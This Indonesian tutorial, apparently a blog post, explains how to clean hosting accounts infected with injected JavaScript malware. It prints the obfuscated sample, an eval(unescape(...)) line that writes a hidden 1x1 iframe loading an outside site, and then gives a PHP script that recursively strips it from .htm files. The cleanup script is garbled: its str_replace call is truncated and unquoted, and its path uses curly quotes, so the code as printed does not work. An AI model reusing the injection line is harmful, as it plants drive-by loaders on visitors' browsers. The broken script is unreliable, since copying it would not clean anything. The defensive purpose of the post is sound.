Mungkin anda pernah mengalami hosting anda atau website client anda diinject oleh code malware yang disembunyikan dengan code tertentu. Salah satu contoh adalah malware berikut:
eval(unescape('%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C
%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6D%69%6E
%70%6F%6F%2E%63%6F%6D%2F%3F%33%35%39%31%30%32%30%33%22%20%77%69
%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%3E%3C%2F%69%66%72%61
%6D%65%3E%27%29'));
Biasanya code malware tersebut diletakkan di baris paling akhir dari file-file yang bisa diakses secara umum melalui internet seperti html, htm, php, asp maupun ekstensi lainnya.
Jika file yang terinfeksi hanya 1-2 file, maka Anda cukup merubah file tersebut satu-satu dan dengan mudah menghapus baris code malware tersebut. Masalahnya jika yang terinfeksi adalah ribuan website di server anda bagaimana merubahnya secara instan dan aman ?
Disini saya mau memberikan tip bagaimana mereplace file-file website Anda yang terinfeksi oleh malware tersebut di server hosting anda atau di account anda sendiri. Berikut langkah-langkahnya:
1. Anda perlu memiliki akses ssh ke server hosting anda, atau meminta admin server hosting anda mengeksekusi script fix.php (code lihat dibawah)
2. Asumsi username anda di hosting anda adalah: badu dengan home direktori adalah /home/badu serta direktori public_html anda adalah /home/badu/public_html
3. Simpan file fix.php di /home/badu atau 1 level sebelum public_html
4. code fix.php
function recurse_dir($dir) {
if ($dh = @opendir($dir)) {
while (($file = readdir($dh)) !== false) {
if (@is_file("$dir/$file")) {
if (strstr($file, '.htm')) {
echo "checking $dir/$file\n";
if ($h = @fopen("$dir/$file", 'r+')) {
$d = fread($h, filesize("$dir/$file"));
$d = str_replace("
C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6D%69%6E%70%6F%6F
%2E%63%6F%6D%2F%3F%33%35%39%31%30%32%30%33%22%20%77%69%64%74%68%3D%31%20
%68%65%69%67%68%74%3D%31%3E%3C%2F%69%66%72%61%6D%65%3E%27%29'));
rewind($h);
ftruncate($h, 0);
fwrite($h, $d);
fclose($h);
}
}
}
elseif (($file != '.') && ($file != '..') && (@is_dir("$dir/$file"))) {
recurse_dir("$dir/$file");
}
}
}
}
recurse_dir(‘public_html’);
5. Eksekusi fix.php dengan perintah: /usr/local/bin/php fix.php (cpanel) atau jika binary php anda ada di lokasi lain, misalnya: /usr/bin/php fix.php
6. Check kembali file-file di public_html atau direktori website anda, apakah masih ada file yang terinfeksi (menggunakan find atau grep)
7. Perhatikan baris code fix.php
if (strstr($file, '.htm')) {
artinya script fix.php hanya akan melakukan perbaikan untuk file berekstensi .htm, jika website anda berekstensi html atau php silahkan diganti menjadi:
if (strstr($file, '.html')) {
atau
if (strstr($file, '.php')) {
Catatan:
– script tersebut adalah turunan dari script mas Daniel (thanks mas :D)
– Silahkan download fix.php lalu rename fix_php.txt menjadi fix.php
Jika ada rekan sekalian yang bisa mengembangkan script tersebut untuk code malware lain atau metoda lain, sangat saya hargai.
Terima kasih
Semoga bermanfaat